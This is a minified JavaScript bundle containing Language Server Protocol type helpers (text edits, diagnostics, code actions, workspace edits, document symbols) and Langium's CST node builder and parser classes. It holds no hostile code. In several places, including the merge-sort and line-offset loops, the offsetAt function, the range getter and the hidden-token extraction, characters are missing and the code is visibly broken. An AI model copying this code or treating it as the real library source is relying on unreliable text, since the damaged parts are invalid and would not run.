Ge.objectLiteral(i)&&Ge.string(i.label)&&(Ge.undefined(i.textEdit)||O1.is(i))&&(Ge.undefined(i.additionalTextEdits)||Ge.typedArray(i.additionalTextEdits,O1.is))}o(r,"is"),t.is=r})(Zpe||(Zpe={}));(function(t){t.Comment="comment",t.Imports="imports",t.Region="region"})(Jpe||(Jpe={}));(function(t){function e(n,i,a,s,l,u){let h={startLine:n,endLine:i};return Ge.defined(a)&&(h.startCharacter=a),Ge.defined(s)&&(h.endCharacter=s),Ge.defined(l)&&(h.kind=l),Ge.defined(u)&&(h.collapsedText=u),h}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.uinteger(i.startLine)&&Ge.uinteger(i.startLine)&&(Ge.undefined(i.startCharacter)||Ge.uinteger(i.startCharacter))&&(Ge.undefined(i.endCharacter)||Ge.uinteger(i.endCharacter))&&(Ge.undefined(i.kind)||Ge.string(i.kind))}o(r,"is"),t.is=r})(e0e||(e0e={}));(function(t){function e(n,i){return{location:n,message:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&IS.is(i.location)&&Ge.string(i.message)}o(r,"is"),t.is=r})(SP||(SP={}));(function(t){t.Error=1,t.Warning=2,t.Information=3,t.Hint=4})(t0e||(t0e={}));(function(t){t.Unnecessary=1,t.Deprecated=2})(r0e||(r0e={}));(function(t){function e(r){let n=r;return Ge.objectLiteral(n)&&Ge.string(n.href)}o(e,"is"),t.is=e})(n0e||(n0e={}));(function(t){function e(n,i,a,s,l,u){let h={range:n,message:i};return Ge.defined(a)&&(h.severity=a),Ge.defined(s)&&(h.code=s),Ge.defined(l)&&(h.source=l),Ge.defined(u)&&(h.relatedInformation=u),h}o(e,"create"),t.create=e;function r(n){var i;let a=n;return Ge.defined(a)&&Gr.is(a.range)&&Ge.string(a.message)&&(Ge.number(a.severity)||Ge.undefined(a.severity))&&(Ge.integer(a.code)||Ge.string(a.code)||Ge.undefined(a.code))&&(Ge.undefined(a.codeDescription)||Ge.string((i=a.codeDescription)===null||i===void 0?void 0:i.href))&&(Ge.string(a.source)||Ge.undefined(a.source))&&(Ge.undefined(a.relatedInformation)||Ge.typedArray(a.relatedInformation,SP.is))}o(r,"is"),t.is=r})(OS||(OS={}));(function(t){function e(n,i,...a){let s={title:n,command:i};return Ge.defined(a)&&a.length>0&&(s.arguments=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.title)&&Ge.string(i.command)}o(r,"is"),t.is=r})(I1||(I1={}));(function(t){function e(a,s){return{range:a,newText:s}}o(e,"replace"),t.replace=e;function r(a,s){return{range:{start:a,end:a},newText:s}}o(r,"insert"),t.insert=r;function n(a){return{range:a,newText:""}}o(n,"del"),t.del=n;function i(a){let s=a;return Ge.objectLiteral(s)&&Ge.string(s.newText)&&Gr.is(s.range)}o(i,"is"),t.is=i})(O1||(O1={}));(function(t){function e(n,i,a){let s={label:n};return i!==void 0&&(s.needsConfirmation=i),a!==void 0&&(s.description=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.string(i.label)&&(Ge.boolean(i.needsConfirmation)||i.needsConfirmation===void 0)&&(Ge.string(i.description)||i.description===void 0)}o(r,"is"),t.is=r})(CP||(CP={}));(function(t){function e(r){let n=r;return Ge.string(n)}o(e,"is"),t.is=e})(P1||(P1={}));(function(t){function e(a,s,l){return{range:a,newText:s,annotationId:l}}o(e,"replace"),t.replace=e;function r(a,s,l){return{range:{start:a,end:a},newText:s,annotationId:l}}o(r,"insert"),t.insert=r;function n(a,s){return{range:a,newText:"",annotationId:s}}o(n,"del"),t.del=n;function i(a){let s=a;return O1.is(s)&&(CP.is(s.annotationId)||P1.is(s.annotationId))}o(i,"is"),t.is=i})(i0e||(i0e={}));(function(t){function e(n,i){return{textDocument:n,edits:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&NP.is(i.textDocument)&&Array.isArray(i.edits)}o(r,"is"),t.is=r})(AP||(AP={}));(function(t){function e(n,i,a){let s={kind:"create",uri:n};return i!==void 0&&(i.overwrite!==void 0||i.ignoreIfExists!==void 0)&&(s.options=i),a!==void 0&&(s.annotationId=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return i&&i.kind==="create"&&Ge.string(i.uri)&&(i.options===void 0||(i.options.overwrite===void 0||Ge.boolean(i.options.overwrite))&&(i.options.ignoreIfExists===void 0||Ge.boolean(i.options.ignoreIfExists)))&&(i.annotationId===void 0||P1.is(i.annotationId))}o(r,"is"),t.is=r})(_P||(_P={}));(function(t){function e(n,i,a,s){let l={kind:"rename",oldUri:n,newUri:i};return a!==void 0&&(a.overwrite!==void 0||a.ignoreIfExists!==void 0)&&(l.options=a),s!==void 0&&(l.annotationId=s),l}o(e,"create"),t.create=e;function r(n){let i=n;return i&&i.kind==="rename"&&Ge.string(i.oldUri)&&Ge.string(i.newUri)&&(i.options===void 0||(i.options.overwrite===void 0||Ge.boolean(i.options.overwrite))&&(i.options.ignoreIfExists===void 0||Ge.boolean(i.options.ignoreIfExists)))&&(i.annotationId===void 0||P1.is(i.annotationId))}o(r,"is"),t.is=r})(DP||(DP={}));(function(t){function e(n,i,a){let s={kind:"delete",uri:n};return i!==void 0&&(i.recursive!==void 0||i.ignoreIfNotExists!==void 0)&&(s.options=i),a!==void 0&&(s.annotationId=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return i&&i.kind==="delete"&&Ge.string(i.uri)&&(i.options===void 0||(i.options.recursive===void 0||Ge.boolean(i.options.recursive))&&(i.options.ignoreIfNotExists===void 0||Ge.boolean(i.options.ignoreIfNotExists)))&&(i.annotationId===void 0||P1.is(i.annotationId))}o(r,"is"),t.is=r})(LP||(LP={}));(function(t){function e(r){let n=r;return n&&(n.changes!==void 0||n.documentChanges!==void 0)&&(n.documentChanges===void 0||n.documentChanges.every(i=>Ge.string(i.kind)?_P.is(i)||DP.is(i)||LP.is(i):AP.is(i)))}o(e,"is"),t.is=e})(RP||(RP={}));(function(t){function e(n){return{uri:n}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.uri)}o(r,"is"),t.is=r})(a0e||(a0e={}));(function(t){function e(n,i){return{uri:n,version:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.uri)&&Ge.integer(i.version)}o(r,"is"),t.is=r})(s0e||(s0e={}));(function(t){function e(n,i){return{uri:n,version:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.uri)&&(i.version===null||Ge.integer(i.version))}o(r,"is"),t.is=r})(NP||(NP={}));(function(t){function e(n,i,a,s){return{uri:n,languageId:i,version:a,text:s}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.string(i.uri)&&Ge.string(i.languageId)&&Ge.integer(i.version)&&Ge.string(i.text)}o(r,"is"),t.is=r})(o0e||(o0e={}));(function(t){t.PlainText="plaintext",t.Markdown="markdown";function e(r){let n=r;return n===t.PlainText||n===t.Markdown}o(e,"is"),t.is=e})(MP||(MP={}));(function(t){function e(r){let n=r;return Ge.objectLiteral(r)&&MP.is(n.kind)&&Ge.string(n.value)}o(e,"is"),t.is=e})(Tb||(Tb={}));(function(t){t.Text=1,t.Method=2,t.Function=3,t.Constructor=4,t.Field=5,t.Variable=6,t.Class=7,t.Interface=8,t.Module=9,t.Property=10,t.Unit=11,t.Value=12,t.Enum=13,t.Keyword=14,t.Snippet=15,t.Color=16,t.File=17,t.Reference=18,t.Folder=19,t.EnumMember=20,t.Constant=21,t.Struct=22,t.Event=23,t.Operator=24,t.TypeParameter=25})(l0e||(l0e={}));(function(t){t.PlainText=1,t.Snippet=2})(c0e||(c0e={}));(function(t){t.Deprecated=1})(u0e||(u0e={}));(function(t){function e(n,i,a){return{newText:n,insert:i,replace:a}}o(e,"create"),t.create=e;function r(n){let i=n;return i&&Ge.string(i.newText)&&Gr.is(i.insert)&&Gr.is(i.replace)}o(r,"is"),t.is=r})(h0e||(h0e={}));(function(t){t.asIs=1,t.adjustIndentation=2})(f0e||(f0e={}));(function(t){function e(r){let n=r;return n&&(Ge.string(n.detail)||n.detail===void 0)&&(Ge.string(n.description)||n.description===void 0)}o(e,"is"),t.is=e})(d0e||(d0e={}));(function(t){function e(r){return{label:r}}o(e,"create"),t.create=e})(p0e||(p0e={}));(function(t){function e(r,n){return{items:r||[],isIncomplete:!!n}}o(e,"create"),t.create=e})(m0e||(m0e={}));(function(t){function e(n){return n.replace(/[\\`*_{}[\]()#+\-.!]/g,"\\$&")}o(e,"fromPlainText"),t.fromPlainText=e;function r(n){let i=n;return Ge.string(i)||Ge.objectLiteral(i)&&Ge.string(i.language)&&Ge.string(i.value)}o(r,"is"),t.is=r})(PS||(PS={}));(function(t){function e(r){let n=r;return!!n&&Ge.objectLiteral(n)&&(Tb.is(n.contents)||PS.is(n.contents)||Ge.typedArray(n.contents,PS.is))&&(r.range===void 0||Gr.is(r.range))}o(e,"is"),t.is=e})(g0e||(g0e={}));(function(t){function e(r,n){return n?{label:r,documentation:n}:{label:r}}o(e,"create"),t.create=e})(y0e||(y0e={}));(function(t){function e(r,n,...i){let a={label:r};return Ge.defined(n)&&(a.documentation=n),Ge.defined(i)?a.parameters=i:a.parameters=[],a}o(e,"create"),t.create=e})(v0e||(v0e={}));(function(t){t.Text=1,t.Read=2,t.Write=3})(x0e||(x0e={}));(function(t){function e(r,n){let i={range:r};return Ge.number(n)&&(i.kind=n),i}o(e,"create"),t.create=e})(b0e||(b0e={}));(function(t){t.File=1,t.Module=2,t.Namespace=3,t.Package=4,t.Class=5,t.Method=6,t.Property=7,t.Field=8,t.Constructor=9,t.Enum=10,t.Interface=11,t.Function=12,t.Variable=13,t.Constant=14,t.String=15,t.Number=16,t.Boolean=17,t.Array=18,t.Object=19,t.Key=20,t.Null=21,t.EnumMember=22,t.Struct=23,t.Event=24,t.Operator=25,t.TypeParameter=26})(T0e||(T0e={}));(function(t){t.Deprecated=1})(w0e||(w0e={}));(function(t){function e(r,n,i,a,s){let l={name:r,kind:n,location:{uri:a,range:i}};return s&&(l.containerName=s),l}o(e,"create"),t.create=e})(k0e||(k0e={}));(function(t){function e(r,n,i,a){return a!==void 0?{name:r,kind:n,location:{uri:i,range:a}}:{name:r,kind:n,location:{uri:i}}}o(e,"create"),t.create=e})(E0e||(E0e={}));(function(t){function e(n,i,a,s,l,u){let h={name:n,detail:i,kind:a,range:s,selectionRange:l};return u!==void 0&&(h.children=u),h}o(e,"create"),t.create=e;function r(n){let i=n;return i&&Ge.string(i.name)&&Ge.number(i.kind)&&Gr.is(i.range)&&Gr.is(i.selectionRange)&&(i.detail===void 0||Ge.string(i.detail))&&(i.deprecated===void 0||Ge.boolean(i.deprecated))&&(i.children===void 0||Array.isArray(i.children))&&(i.tags===void 0||Array.isArray(i.tags))}o(r,"is"),t.is=r})(S0e||(S0e={}));(function(t){t.Empty="",t.QuickFix="quickfix",t.Refactor="refactor",t.RefactorExtract="refactor.extract",t.RefactorInline="refactor.inline",t.RefactorRewrite="refactor.rewrite",t.Source="source",t.SourceOrganizeImports="source.organizeImports",t.SourceFixAll="source.fixAll"})(C0e||(C0e={}));(function(t){t.Invoked=1,t.Automatic=2})(BS||(BS={}));(function(t){function e(n,i,a){let s={diagnostics:n};return i!=null&&(s.only=i),a!=null&&(s.triggerKind=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.typedArray(i.diagnostics,OS.is)&&(i.only===void 0||Ge.typedArray(i.only,Ge.string))&&(i.triggerKind===void 0||i.triggerKind===BS.Invoked||i.triggerKind===BS.Automatic)}o(r,"is"),t.is=r})(A0e||(A0e={}));(function(t){function e(n,i,a){let s={title:n},l=!0;return typeof i=="string"?(l=!1,s.kind=i):I1.is(i)?s.command=i:s.edit=i,l&&a!==void 0&&(s.kind=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return i&&Ge.string(i.title)&&(i.diagnostics===void 0||Ge.typedArray(i.diagnostics,OS.is))&&(i.kind===void 0||Ge.string(i.kind))&&(i.edit!==void 0||i.command!==void 0)&&(i.command===void 0||I1.is(i.command))&&(i.isPreferred===void 0||Ge.boolean(i.isPreferred))&&(i.edit===void 0||RP.is(i.edit))}o(r,"is"),t.is=r})(_0e||(_0e={}));(function(t){function e(n,i){let a={range:n};return Ge.defined(i)&&(a.data=i),a}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Gr.is(i.range)&&(Ge.undefined(i.command)||I1.is(i.command))}o(r,"is"),t.is=r})(D0e||(D0e={}));(function(t){function e(n,i){return{tabSize:n,insertSpaces:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Ge.uinteger(i.tabSize)&&Ge.boolean(i.insertSpaces)}o(r,"is"),t.is=r})(L0e||(L0e={}));(function(t){function e(n,i,a){return{range:n,target:i,data:a}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Gr.is(i.range)&&(Ge.undefined(i.target)||Ge.string(i.target))}o(r,"is"),t.is=r})(R0e||(R0e={}));(function(t){function e(n,i){return{range:n,parent:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Gr.is(i.range)&&(i.parent===void 0||t.is(i.parent))}o(r,"is"),t.is=r})(N0e||(N0e={}));(function(t){t.namespace="namespace",t.type="type",t.class="class",t.enum="enum",t.interface="interface",t.struct="struct",t.typeParameter="typeParameter",t.parameter="parameter",t.variable="variable",t.property="property",t.enumMember="enumMember",t.event="event",t.function="function",t.method="method",t.macro="macro",t.keyword="keyword",t.modifier="modifier",t.comment="comment",t.string="string",t.number="number",t.regexp="regexp",t.operator="operator",t.decorator="decorator"})(M0e||(M0e={}));(function(t){t.declaration="declaration",t.definition="definition",t.readonly="readonly",t.static="static",t.deprecated="deprecated",t.abstract="abstract",t.async="async",t.modification="modification",t.documentation="documentation",t.defaultLibrary="defaultLibrary"})(I0e||(I0e={}));(function(t){function e(r){let n=r;return Ge.objectLiteral(n)&&(n.resultId===void 0||typeof n.resultId=="string")&&Array.isArray(n.data)&&(n.data.length===0||typeof n.data[0]=="number")}o(e,"is"),t.is=e})(O0e||(O0e={}));(function(t){function e(n,i){return{range:n,text:i}}o(e,"create"),t.create=e;function r(n){let i=n;return i!=null&&Gr.is(i.range)&&Ge.string(i.text)}o(r,"is"),t.is=r})(P0e||(P0e={}));(function(t){function e(n,i,a){return{range:n,variableName:i,caseSensitiveLookup:a}}o(e,"create"),t.create=e;function r(n){let i=n;return i!=null&&Gr.is(i.range)&&Ge.boolean(i.caseSensitiveLookup)&&(Ge.string(i.variableName)||i.variableName===void 0)}o(r,"is"),t.is=r})(B0e||(B0e={}));(function(t){function e(n,i){return{range:n,expression:i}}o(e,"create"),t.create=e;function r(n){let i=n;return i!=null&&Gr.is(i.range)&&(Ge.string(i.expression)||i.expression===void 0)}o(r,"is"),t.is=r})(F0e||(F0e={}));(function(t){function e(n,i){return{frameId:n,stoppedLocation:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.defined(i)&&Gr.is(n.stoppedLocation)}o(r,"is"),t.is=r})($0e||($0e={}));(function(t){t.Type=1,t.Parameter=2;function e(r){return r===1||r===2}o(e,"is"),t.is=e})(IP||(IP={}));(function(t){function e(n){return{value:n}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&(i.tooltip===void 0||Ge.string(i.tooltip)||Tb.is(i.tooltip))&&(i.location===void 0||IS.is(i.location))&&(i.command===void 0||I1.is(i.command))}o(r,"is"),t.is=r})(OP||(OP={}));(function(t){function e(n,i,a){let s={position:n,label:i};return a!==void 0&&(s.kind=a),s}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&tn.is(i.position)&&(Ge.string(i.label)||Ge.typedArray(i.label,OP.is))&&(i.kind===void 0||IP.is(i.kind))&&i.textEdits===void 0||Ge.typedArray(i.textEdits,O1.is)&&(i.tooltip===void 0||Ge.string(i.tooltip)||Tb.is(i.tooltip))&&(i.paddingLeft===void 0||Ge.boolean(i.paddingLeft))&&(i.paddingRight===void 0||Ge.boolean(i.paddingRight))}o(r,"is"),t.is=r})(z0e||(z0e={}));(function(t){function e(r){return{kind:"snippet",value:r}}o(e,"createSnippet"),t.createSnippet=e})(G0e||(G0e={}));(function(t){function e(r,n,i,a){return{insertText:r,filterText:n,range:i,command:a}}o(e,"create"),t.create=e})(V0e||(V0e={}));(function(t){function e(r){return{items:r}}o(e,"create"),t.create=e})(U0e||(U0e={}));(function(t){t.Invoked=0,t.Automatic=1})(H0e||(H0e={}));(function(t){function e(r,n){return{range:r,text:n}}o(e,"create"),t.create=e})(q0e||(q0e={}));(function(t){function e(r,n){return{triggerKind:r,selectedCompletionInfo:n}}o(e,"create"),t.create=e})(W0e||(W0e={}));(function(t){function e(r){let n=r;return Ge.objectLiteral(n)&&kP.is(n.uri)&&Ge.string(n.name)}o(e,"is"),t.is=e})(Y0e||(Y0e={}));(function(t){function e(a,s,l,u){return new PP(a,s,l,u)}o(e,"create"),t.create=e;function r(a){let s=a;return!!(Ge.defined(s)&&Ge.string(s.uri)&&(Ge.undefined(s.languageId)||Ge.string(s.languageId))&&Ge.uinteger(s.lineCount)&&Ge.func(s.getText)&&Ge.func(s.positionAt)&&Ge.func(s.offsetAt))}o(r,"is"),t.is=r;function n(a,s){let l=a.getText(),u=i(s,(f,d)=>{let p=f.range.start.line-d.range.start.line;return p===0?f.range.start.character-d.range.start.character:p}),h=l.length;for(let f=u.length-1;f>=0;f--){let d=u[f],p=a.offsetAt(d.range.start),m=a.offsetAt(d.range.end);if(m<=h)l=l.substring(0,p)+d.newText+l.substring(m,l.length);else throw new Error("Overlapping edit");h=p}return l}o(n,"applyEdits"),t.applyEdits=n;function i(a,s){if(a.length<=1)return a;let l=a.length/2|0,u=a.slice(0,l),h=a.slice(l);i(u,s),i(h,s);let f=0,d=0,p=0;for(;f0&&e.push(r.length),this._lineOffsets=e}return this._lineOffsets}positionAt(e){e=Math.max(Math.min(e,this._content.length),0);let r=this.getLineOffsets(),n=0,i=r.length;if(i===0)return tn.create(0,e);for(;ne?i=s:n=s+1}let a=n-1;return tn.create(a,e-r[a])}offsetAt(e){let r=this.getLineOffsets();if(e.line>=r.length)return this._content.length;if(e.line<0)return 0;let n=r[e.line],i=e.line+1"u"}o(n,"undefined"),t.undefined=n;function i(m){return m===!0||m===!1}o(i,"boolean"),t.boolean=i;function a(m){return e.call(m)==="[object String]"}o(a,"string"),t.string=a;function s(m){return e.call(m)==="[object Number]"}o(s,"number"),t.number=s;function l(m,g,y){return e.call(m)==="[object Number]"&&g<=m&&m<=y}o(l,"numberRange"),t.numberRange=l;function u(m){return e.call(m)==="[object Number]"&&-2147483648<=m&&m<=2147483647}o(u,"integer"),t.integer=u;function h(m){return e.call(m)==="[object Number]"&&0<=m&&m<=2147483647}o(h,"uinteger"),t.uinteger=h;function f(m){return e.call(m)==="[object Function]"}o(f,"func"),t.func=f;function d(m){return m!==null&&typeof m=="object"}o(d,"objectLiteral"),t.objectLiteral=d;function p(m,g){return Array.isArray(m)&&m.every(g)}o(p,"typedArray"),t.typedArray=p})(Ge||(Ge={}))});var wb,kb,Yp,Xp,FP,B1,FS=N(()=>{"use strict";BP();Bl();wb=class{static{o(this,"CstNodeBuilder")}constructor(){this.nodeStack=[]}get current(){var e;return(e=this.nodeStack[this.nodeStack.length-1])!==null&&e!==void 0?e:this.rootNode}buildRootNode(e){return this.rootNode=new B1(e),this.rootNode.root=this.rootNode,this.nodeStack=[this.rootNode],this.rootNode}buildCompositeNode(e){let r=new Xp;return r.grammarSource=e,r.root=this.rootNode,this.current.content.push(r),this.nodeStack.push(r),r}buildLeafNode(e,r){let n=new Yp(e.startOffset,e.image.length,xg(e),e.tokenType,!r);return n.grammarSource=r,n.root=this.rootNode,this.current.content.push(n),n}removeNode(e){let r=e.container;if(r){let n=r.content.indexOf(e);n>=0&&r.content.splice(n,1)}}addHiddenNodes(e){let r=[];for(let a of e){let s=new Yp(a.startOffset,a.image.length,xg(a),a.tokenType,!0);s.root=this.rootNode,r.push(s)}let n=this.current,i=!1;if(n.content.length>0){n.content.push(...r);return}for(;n.container;){let a=n.container.content.indexOf(n);if(a>0){n.container.content.splice(a,0,...r),i=!0;break}n=n.container}i||this.rootNode.content.unshift(...r)}construct(e){let r=this.current;typeof e.$type=="string"&&(this.current.astNode=e),e.$cstNode=r;let n=this.nodeStack.pop();n?.content.length===0&&this.removeNode(n)}},kb=class{static{o(this,"AbstractCstNode")}get parent(){return this.container}get feature(){return this.grammarSource}get hidden(){return!1}get astNode(){var e,r;let n=typeof((e=this._astNode)===null||e===void 0?void 0:e.$type)=="string"?this._astNode:(r=this.container)===null||r===void 0?void 0:r.astNode;if(!n)throw new Error("This node has no associated AST element");return n}set astNode(e){this._astNode=e}get element(){return this.astNode}get text(){return this.root.fullText.substring(this.offset,this.end)}},Yp=class extends kb{static{o(this,"LeafCstNodeImpl")}get offset(){return this._offset}get length(){return this._length}get end(){return this._offset+this._length}get hidden(){return this._hidden}get tokenType(){return this._tokenType}get range(){return this._range}constructor(e,r,n,i,a=!1){super(),this._hidden=a,this._offset=e,this._tokenType=i,this._length=r,this._range=n}},Xp=class extends kb{static{o(this,"CompositeCstNodeImpl")}constructor(){super(...arguments),this.content=new FP(this)}get children(){return this.content}get offset(){var e,r;return(r=(e=this.firstNonHiddenNode)===null||e===void 0?void 0:e.offset)!==null&&r!==void 0?r:0}get length(){return this.end-this.offset}get end(){var e,r;return(r=(e=this.lastNonHiddenNode)===null||e===void 0?void 0:e.end)!==null&&r!==void 0?r:0}get range(){let e=this.firstNonHiddenNode,r=this.lastNonHiddenNode;if(e&&r){if(this._rangeCache===void 0){let{range:n}=e,{range:i}=r;this._rangeCache={start:n.start,end:i.end.line=0;e--){let r=this.content[e];if(!r.hidden)return r}return this.content[this.content.length-1]}},FP=class t extends Array{static{o(this,"CstNodeContainer")}constructor(e){super(),this.parent=e,Object.setPrototypeOf(this,t.prototype)}push(...e){return this.addParents(e),super.push(...e)}unshift(...e){return this.addParents(e),super.unshift(...e)}splice(e,r,...n){return this.addParents(n),super.splice(e,r,...n)}addParents(e){for(let r of e)r.container=this.parent}},B1=class extends Xp{static{o(this,"RootCstNodeImpl")}get text(){return this._text.substring(this.offset,this.end)}get fullText(){return this._text}constructor(e){super(),this._text="",this._text=e??""}}});function $P(t){return t.$type===$S}var $S,j0e,K0e,Eb,Sb,zS,F1,Cb,PXe,zP,Ab=N(()=>{"use strict";Ff();Ype();Hc();zl();hs();FS();$S=Symbol("Datatype");o($P,"isDataTypeNode");j0e="\u200B",K0e=o(t=>t.endsWith(j0e)?t:t+j0e,"withRuleSuffix"),Eb=class{static{o(this,"AbstractLangiumParser")}constructor(e){this._unorderedGroups=new Map,this.allRules=new Map,this.lexer=e.parser.Lexer;let r=this.lexer.definition,n=e.LanguageMetaData.mode==="production";this.wrapper=new zP(r,Object.assign(Object.assign({},e.parser.ParserConfig),{skipValidations:n,errorMessageProvider:e.parser.ParserErrorMessageProvider}))}alternatives(e,r){this.wrapper.wrapOr(e,r)}optional(e,r){this.wrapper.wrapOption(e,r)}many(e,r){this.wrapper.wrapMany(e,r)}atLeastOne(e,r){this.wrapper.wrapAtLeastOne(e,r)}getRule(e){return this.allRules.get(e)}isRecording(){return this.wrapper.IS_RECORDING}get unorderedGroups(){return this._unorderedGroups}getRuleStack(){return this.wrapper.RULE_STACK}finalize(){this.wrapper.wrapSelfAnalysis()}},Sb=class extends Eb{static{o(this,"LangiumParser")}get current(){return this.stack[this.stack.length-1]}constructor(e){super(e),this.nodeBuilder=new wb,this.stack=[],this.assignmentMap=new Map,this.linker=e.references.Linker,this.converter=e.parser.ValueConverter,this.astReflection=e.shared.AstReflection}rule(e,r){let n=this.computeRuleType(e),i=this.wrapper.DEFINE_RULE(K0e(e.name),this.startImplementation(n,r).bind(this));return this.allRules.set(e.name,i),e.entry&&(this.mainRule=i),i}computeRuleType(e){if(!e.fragment){if(jx(e))return $S;{let r=c1(e);return r??e.name}}}parse(e,r={}){this.nodeBuilder.buildRootNode(e);let n=this.lexerResult=this.lexer.tokenize(e);this.wrapper.input=n.tokens;let i=r.rule?this.allRules.get(r.rule):this.mainRule;if(!i)throw new Error(r.rule?`No rule found with name '${r.rule}'`:"No main rule available.");let a=i.call(this.wrapper,{});return this.nodeBuilder.addHiddenNodes(n.hidden),this.unorderedGroups.clear(),this.lexerResult=void 0,{value:a,lexerErrors:n.errors,lexerReport:n.report,parserErrors:this.wrapper.errors}}startImplementation(e,r){return n=>{let i=!this.isRecording()&&e!==void 0;if(i){let s={$type:e};this.stack.push(s),e===$S&&(s.value="")}let a;try{a=r(n)}catch{a=void 0}return a===void 0&&i&&(a=this.construct()),a}}extractHiddenTokens(e){let r=this.lexerResult.hidden;if(!r.length)return[];let n=e.startOffset;for(let i=0;in)return r.splice(0,i);return r.splice(0,r.length)}consume(e,r,n){let i=this.wrapper.wrapConsume(e,r);if(!this.isRecording()&&this.isValidToken(i)){let a=this.extractHiddenTokens(i);this.nodeBuilder.addHiddenNodes(a);let s=this.nodeBuilder.buildLeafNode(i,n),{assignment:l,isCrossRef:u}=this.getAssignment(n),h=this.current;if(l){let f=Zo(n)?i.image:this.converter.convert(i.image,s);this.assign(l.operator,l.feature,f,s,u)}else if($P(h)){let f=i.image;Zo(n)||(f=this.converter.convert(f,s).toString()),h.value+=f}}}isValidToken(e){return!e.isInsertedInRecovery&&!isNaN(e.startOffset)&&typeof e.endOffset=="number"&&!isNaN(e.endOffset)}subrule(e,r,n,i,a){let s;!this.isRecording()&&!n&&(s=this.nodeBuilder.buildCompositeNode(i));let l=this.wrapper.wrapSubrule(e,r,a);!this.isRecording()&&s&&s.length>0&&this.performSubruleAssignment(l,i,s)}performSubruleAssignment(e,r,n){let{assignment:i,isCrossRef:a}=this.getAssignment(r);if(i)this.assign(i.operator,i.feature,e,n,a);else if(!i){let s=this.current;if($P(s))s.value+=e.toString();else if(typeof e=="object"&&e){let u=this.assignWithoutOverride(e,s);this.stack.pop(),this.stack.push(u)}}}action(e,r){if(!this.isRecording()){let n=this.current;if(r.feature&&r.operator){n=this.construct(),this.nodeBuilder.removeNode(n.$cstNode),this.nodeBuilder.buildCompositeNode(r).content.push(n.$cstNode);let a={$type:e};this.stack.push(a),this.assign(r.operator,r.feature,n,n.$cstNode,!1)}else n.$type=e}}construct(){if(this.isRecording())return;let e=this.current;return zE(e),this.nodeBuilder.construct(e),this.stack.pop(),$P(e)?this.converter.convert(e.value,e.$cstNode):(gO(this.astReflection,e),e)}getAssignment(e){if(!this.assignmentMap.has(e)){let r=Ip(e,Fl);this.assignmentMap.set(e,{assignment:r,isCrossRef:r?Mp(r.terminal):!1})}return this.assignmentMap.get(e)}assign(e,r,n,i,a){let s=this.current,l;switch(a&&typeof n=="string"?l=this.linker.buildReference(s,r,i,n):l=n,e){case"=":{s[r]=l;break}case"?=":{s[r]=!0;break}case"+=":Array.isArray(s[r])||(s[r]=[]),s[r].push(l)}}assignWithoutOverride(e,r){for(let[i,a]of Object.entries(r)){let s=e[i];s===void 0?e[i]=a:Array.isArray(s)&&Array.isArray(a)&&(a.push(...s),e[i]=a)}let n=e.$cstNode;return n&&(n.astNode=void 0,e.$cstNode=void 0),e}get definitionErrors(){return this.wrapper.definitionErrors}},zS=class{static{o(this,"AbstractParserErrorMessageProvider")}buildMismatchTokenMessage(e){return Zu.buildMismatchTokenMessage(e)}buildNotAllInputParsedMessage(e){return Zu.buildNotAllInputParsedMessage(e)}buildNoViableAltMessage(e){return Zu.buildNoViableAltMessage(e)}buildEarlyExitMessage(e){return Zu.buildEarlyExitMessage(e)}},F1=class extends zS{static{o(this,"LangiumParserErrorMessageProvider")}buildMismatchTokenMessage({expected:e,actual:r}){return`Expecting ${e.LABEL?"`"+e.LABEL+"`":e.name.endsWith(":KW")?`keyword '${e.name.substring(0,e.name.length-3)}'`:`token of type '${e.name}'`} but found \`${r.image}\`.`}buildNotAllInputParsedMessage({firstRedundant:e}){return`Expecting end of file but found \`${e.image}\`.`}},Cb=class extends Eb{static{o(this,"LangiumCompletionParser")}constructor(){super(...arguments),this.tokens=[],this.elementStack=[],this.lastElementStack=[],this.nextTokenIndex=0,this.stackSize=0}action(){}construct(){}parse(e){this.resetState();let r=this.lexer.tokenize(e,{mode:"partial"});return this.tokens=r.tokens,this.wrapper.input=[...this.tokens],this.mainRule.call(this.wrapper,{}),this.unorderedGroups.clear(),{tokens:this.tokens,elementStack:[...this.lastElementStack],tokenIndex:this.nextTokenIndex}}rule(e,r){let n=this.wrapper.DEFINE_RULE(K0e(e.name),this.startImplementation(r).bind(this));return this.allRules.set(e.name,n),e.entry&&(this.mainRule=n),n}resetState(){this.elementStack=[],this.lastElementStack=[],this.nextTokenIndex=0,this.stackSize=0}startImplementation(e){return r=>{let n=this.keepStackSize();try{e(r)}finally{this.resetStackSize(n)}}}removeUnexpectedElements(){this.elementStack.splice(this.stackSize)}keepStackSize(){let e=this.elementStack.length;return this.stackSize=e,e}resetStackSize(e){this.removeUnexpectedElements(),this.stackSize=e}consume(e,r,n){this.wrapper.wrapConsume(e,r),this.isRecording()||(this.lastElementStack=[...this.elementStack,n],this.nextTokenIndex=this.currIdx+1)}subrule(e,r,n,i,a){this.before(i),this.wrapper.wrapSubrule(e,r,a),this.after(i)}before(e){this.isRecording()||this.elementStack.push(e)}after(e){if(!this.isRecording()){let r=this.elementStack.lastIndexOf(e);r>=0&&this.elementStack.splice(r)}}get currIdx(){return 